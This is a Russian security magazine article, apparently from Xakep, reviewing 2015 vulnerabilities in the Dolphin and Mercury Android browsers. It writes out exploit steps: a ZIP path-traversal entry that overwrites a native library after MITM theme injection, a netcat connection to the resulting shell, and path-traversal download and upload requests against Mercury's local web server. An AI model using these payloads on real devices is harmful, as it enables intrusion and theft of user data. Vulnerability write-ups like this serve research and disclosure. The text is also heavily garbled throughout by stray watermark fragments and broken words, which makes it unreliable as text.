Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
21.92 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

Наш сегодняшний обзор будет посвящен уязвимостям в различных

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

браузерах. Начнем с анализа ошибок, которые исследователь rotlogix нашел в популярных браузерах для Android. Закончим уязвимостью нулевого дня в Mozilla Firefox, которую использовали для атаки через рекламные блоки на новостных сайтах. Хоть она и была оперативно устранена, но оставила небольшой осадок.

УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА

В DOLPHIN BROWSER ДЛЯ ANDROID

CVSSv2

N/A

Дата релиза:

22 августа 2015 года

Автор:

rotlogix

CVE:

N/A

Dolphin — популярный браузер для Android, количество установок которого находится в диапазоне от 50 до 100 миллионов. Уязвимость в нем — это не шутки.

Атакующий, у которого есть возможность контролировать трафик пользователя этого браузера, может изменить процесс загрузки и установки новых тем оформления для браузера. В ходе такого изменения можно записать любой файл в систему, что позволяет выполнить произвольный код в контексте уязвимого приложения. Для начала разберем подробно этот процесс.

Загрузка выбранной темы оформления происходит по протоколу HTTP.

GET http://opsen-static.dolphin-browser.com/resources/

themestore/Red_roof.dwp

Она сохраняется в стандартной папке Download внешней карты.

root@hammerhead:/sdcard/Download # ls

Red_roof.dwp

Пусть тебя не смущает расширение dwp, это просто особенность браузера Dolphin. На самом деле это обычный ZIP.

$ ile Red_roof.dwp

Red_roof.dwp: Zip archive data, at least v2.0 to extract

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

Изучив содержимое, ты можешь увидеть данные, которые используются для

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

установки новой темы.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

unzip -l Red_roof.dwp.orig

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Archive:

Red_roof.dwp.orig

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Length

Date

Time

Name

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

--------

----

----

----

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

18165

12-18-14 09:57

icon.jpg

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

237

12-19-14 14:35

theme.conig

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

131384

12-18-14 09:54

wallpaper.jpg

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

--------

 

 

-------

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

149786

 

 

3 iles

 

 

 

 

 

 

 

 

 

 

 

 

После реверсинга активности (Activity) приложения автор нашел обработчик, который распаковывал скачанную тему и устанавливал соответствующую конфигурацию.

EXPLOIT

Первым шагом эксплуатации станет проксирование трафика и инъекция модифицированной темы. Для этого была выбрана программа mitmdump и небольшой скрипт:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Запуск mitmdump для перехвата тем оформления браузера Dolphin

Также нам требуется что-то для эксплуатации процесса распаковки. Соответствующая технология подробно расписана исследователями из компании NowSecure.

Для ее использования нужна возможность записи произвольных файлов и файл, который можно переписать. После небольшого анализа содержимого автор нашел кандидата. Это библиотека ibdolphin.so.

root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser # cd iles/

root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/iles # ls

AppEventsLogger.persistedevents

EN

icons_cache

libdolphin.so

name_service

splash.on

В качестве проверки был создан специальный архив:

unzip -l Red_roof.dwp

Archive:

Red_roof.dwp

 

 

Length

Date

Time

Name

--------

----

----

----

 

18165

12-18-14 09:57

icon.jpg

237

12-19-14 14:35

theme.conig

131384

12-18-14 09:54

wallpaper.jpg

7

08-21-15 20:26

../../../../../../data/data/mobi.mgeek.

TunnyBrowser/iles/libdolphin.so

--------

 

 

-------

 

159142

 

 

4 iles

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

После успешного MITM-перехвата с нужной инъекцией и перемотки вывода от-

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ладочной информации с устройства в Logcat было найдено то, что нужно.

D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.

TunnyBrowser/iles/libdolphin.so 0x42e0c318

E/dalvikvm( 2573): dlopen(“/data/data/mobi.mgeek.TunnyBrowser/iles/

libdolphin.so”) failed: dlopen failed: “/data/data/mobi.mgeek.

TunnyBrowser/iles/libdolphin.so” is too small to be an ELF executable

....

...

.

root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/iles # cat libdolphin.so

foobar

Теперь нам надо создать свою библиотеку:

Для компилирования воспользуемся Android NDK и добавим ее в наш скрипт-пе- рехватчик.

Протестируем снова. После установки новой темы и рестарта браузера в логах видим, что наша библиотека была успешно загружена:

D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.

TunnyBrowser/iles/libdolphin.so 0x42e080a8

D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.

TunnyBrowser/iles/libdolphin.so 0x42e080a8

Теперь можем подсоединиться к атакованному устройству, используя стандартный netcat:

> nc 10.174.90.159 6666

id

uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028

(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0

ls

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

acct

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

cache

charger

conig

d

data

default.prop

...

ueventd.rc

vendor

Проверка работы шелла на устройстве с уязвимым Dolphin browser

Исходники эксплоита можно скачать с гитхаба автора.

TARGETS

Dolphin Browser (версия на 27.07.2015 была уязвима).

SOLUTION

Разработчики уведомлены о проблеме.

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

УЯЗВИМОСТИ В БРАУЗЕРЕ MERCURY ДЛЯ ANDROID

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CVSSv2

N/A

 

 

 

 

 

 

 

 

 

 

 

Дата релиза:

23 августа 2015 года

 

 

 

 

 

 

 

 

 

 

 

Автор:

rotlogix

 

 

 

 

 

 

 

 

 

 

 

CVE:

N/A

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Mercury Browser тоже довольно популярен, хоть и меньше, чем Dolphin (у него от полумиллиона до миллиона установок).

Первое, что автор проверил при реверсинге браузеров для Android, — это безопасность обработчика Intent для схем URI. В этом ему помог софт Lobotomy. Он загрузил анализируемое приложение в него и воспользовался модулем bowser.

(lobotomy) loader /Users/benjaminwatson/Android-Web-Browsers/mercury/

apk/com.ilegendsoft.mercury.apk

[2015-08-23 16:11:49.179402] Loading : /Users/benjaminwatson/

Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk

(lobotomy) bowser enum

[2015-08-23 16:12:11.632313] Searching for parseUri()

1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->

shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)

Z (0x260) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String;

I)Landroid/content/Intent;

1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->

shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)

Z (0x294) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String;

I)Landroid/content/Intent;

1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->

shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)

Z (0x31c) --->Landroid/content/Intent;->parseUri(Ljava/

lang/String; I)Landroid/content/Intent;

Использование модуля bowser для Lobotomy (начало)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Использование модуля bowser для Lobotomy (окончание)

Модуль bowser нашел несколько мест, где была вызвана функция parseUri(), то есть где Intent URI-схема конвертируется в объект Intent.

После небольшого анализа автор обнаружил, что в браузере имеется небезопасный код.

В Lobotomy имеются и веб-сервисы, основанные на Flask, которые можно использовать для вызова этого кода.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Небезопасная реализация обработчика Intent позволяет атакующему запускать private Activities (это такие активности, которые недоступны извне), используя специально созданную страницу. Далее автор загрузил Mercury Browser в Lobotomy и запустил встроенные модули для поиска доступных компонентов.

...

..

.

[2015-08-23 13:07:39.810710] Activity : com.ilegendsoft.mercury.

ui.activities.PasscodeActivity

[2015-08-23 13:07:39.810722] Activity : com.ilegendsoft.mercury.

ui.activities.bookmark.BookmarksImportFilesActivity

[2015-08-23 13:07:39.810732] Activity : com.ilegendsoft.mercury.

ui.activities.FlipTabsActivity

[2015-08-23 13:07:39.810741] Activity : com.ilegendsoft.mercury.

ui.activities.SplashActivity

[2015-08-23 13:07:39.810750] Activity : com.ilegendsoft.mercury.

external.wfm.ui.WFMActivity2

[2015-08-23 13:07:39.810759] Activity : com.ilegendsoft.mercury.

external.zxing.CaptureActivity

[2015-08-23 13:07:39.810767] Activity : com.dropbox.client2.android.

AuthActivity

[2015-08-23 13:07:39.810830] Activity : com.ilegendsoft.mercury.

ui.activities.zcloud.PushUrlActivity

[2015-08-23 13:07:39.810864] Activity : com.ilegendsoft.mercury.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

ui.activities.ilemanager.FileManagerActivity

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

[2015-08-23 13:07:39.810877] Activity : com.ilegendsoft.mercury.

ui.activities.ilemanager.SubFolderActivity

...

..

.

После нескольких проб и ошибок было найдено то, что нужно, — активность com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2, которая является private Actitivity внутри браузера Mercury. После дальнейшего реверсинга оказалось, что у нее есть особенность, которая позволяет делать резервную копию и восстанавливать что-то сохраненное на SD-карте браузером или другим приложением. Это стало возможно из-за того, что данная Activity вызывается Broadcast Receiver и зарегистрирована как обработчик для действия org. join.action.SERV_AVAILABLE. Углубившись еще дальше, автор заметил, что создаваемый сервис называется WebService и явно привязан к локальному устройству. Внутри WebService находится метод onBind(), который, в свою очередь, вызывает openWebServer():

Здесь автор понял, что созданный веб-сервер предназначен для обработки данных на SD-карте браузером и доступен другим устройствам в локальной сети.

((HttpRequestHandlerRegistry)localObject3).register(“/dodownload”,

new HttpDownHandler(this.webRoot));

((HttpRequestHandlerRegistry)localObject3).register(“/dodelete”,

new HttpDelHandler(this.webRoot));

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

((HttpRequestHandlerRegistry)localObject3).register(“/doupload”,

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

new HttpUpHandler(this.webRoot));

((HttpRequestHandlerRegistry)localObject3).register(“/doprogress”,

new HttpProgressHandler());

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

WebServer регистрирует специфичные URI-пути для скачивания, удаления и загрузки файлов. У него есть еще одна особенность — он всегда биндится на один и тот же порт, поэтому автор настроил проксирование трафика и начал проверять перечисленные функции сервера.

EXPLOIT

После всех проверок исследователь нашел уязвимость типа раскрытия путей и смог читать различные данные внутри директории Mercury.

/dodownload?fname=../../../../data/data/com.ilegendsoft.mercury/

shared_prefs/passcode.xml

Атакующий может не только скачать файлы с устройства, но и переписать их.

POST /doupload?dir=../../../../data/data/com.ilegendsoft.mercury/

shared_prefs/&id=c2f18b1f-8d77-4a73-98f8-2cb1461f70c4 HTTP/1.1

Host: 10.174.90.159:8888

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0)

Gecko/20100101 Firefox/39.0

...

Content-Disposition: form-data; name=”Download/”; ilename=”test.txt”

Content-Type: text/plain

test

-----------------------------20198766556454488091118231866--

root@hammerhead:/data/data/com.ilegendsoft.mercury/shared_prefs # ls

LASConig.xml

...

test.txt

zcloud_db.xml

В итоге для эксплуатации нам потребуется:

создать специальную HTML-страницу для вызова WiFi Manager Activity с Intent URI схемой;

узнать IP-адрес устройства;

опрашивая устройство, дождаться получения уведомления о вызове Activity;

проэксплуатировать уязвимость раскрытия путей.

Соседние файлы в папке журнал хакер